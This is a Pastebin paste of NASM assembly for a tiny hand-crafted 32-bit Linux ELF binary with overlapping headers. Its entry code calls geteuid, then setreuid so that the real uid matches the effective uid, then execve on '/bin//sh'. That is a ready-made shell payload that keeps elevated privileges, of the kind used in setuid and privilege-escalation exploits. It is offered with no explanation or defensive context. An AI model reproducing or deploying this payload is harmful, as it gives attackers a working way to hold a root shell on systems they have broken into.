Advertisement
Guest User

Untitled

a guest
Nov 18th, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. BITS 32
  2.  
  3. org 0x10000
  4. ehdr:
  5. db 0x7F, "ELF"
  6. db 1, 1, 1 ; e_ident
  7. db 0x0
  8. db 0x0
  9. times 7 db 0x0
  10. dw 2 ; e_type
  11. dw 3 ; e_machine
  12. dd 1 ; e_version
  13. dd _start ; e_entry
  14. dd phdr - $$ ; e_phoff
  15. dd 0 ; e_shoff
  16. dd 0 ; e_flags
  17. dw ehdrsize ; e_ehsize
  18. dw phdrsize ; e_phentsize
  19. phdr: dd 1 ; e_phnum ; p_type
  20. ; e_shentsize
  21. dd 0 ; e_shnum ; p_offset
  22. ; e_shstrndx
  23. ehdrsize equ $ - ehdr
  24. dd $$ ; p_vaddr
  25. dd 0x0 ; p_paddr
  26. dd filesize ; p_filesz
  27. dd filesize ; p_memsz
  28. dd 5 ; p_flags
  29. dd 0x1000 ; p_align
  30. phdrsize equ $ - phdr
  31.  
  32. _start: push 0x31
  33. pop eax
  34. int 0x80
  35. mov ebx, eax
  36. mov ecx, eax
  37. push 0x46
  38. pop eax
  39. int 0x80
  40. push 0xb
  41. pop eax
  42. xor esi, esi
  43. push esi
  44. push 0x68732f2f
  45. push 0x6e69622f
  46. mov ebx, esp
  47. xor ecx, ecx
  48. mov edx, ecx
  49. int 0x80
  50.  
  51. filesize equ $ - $$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement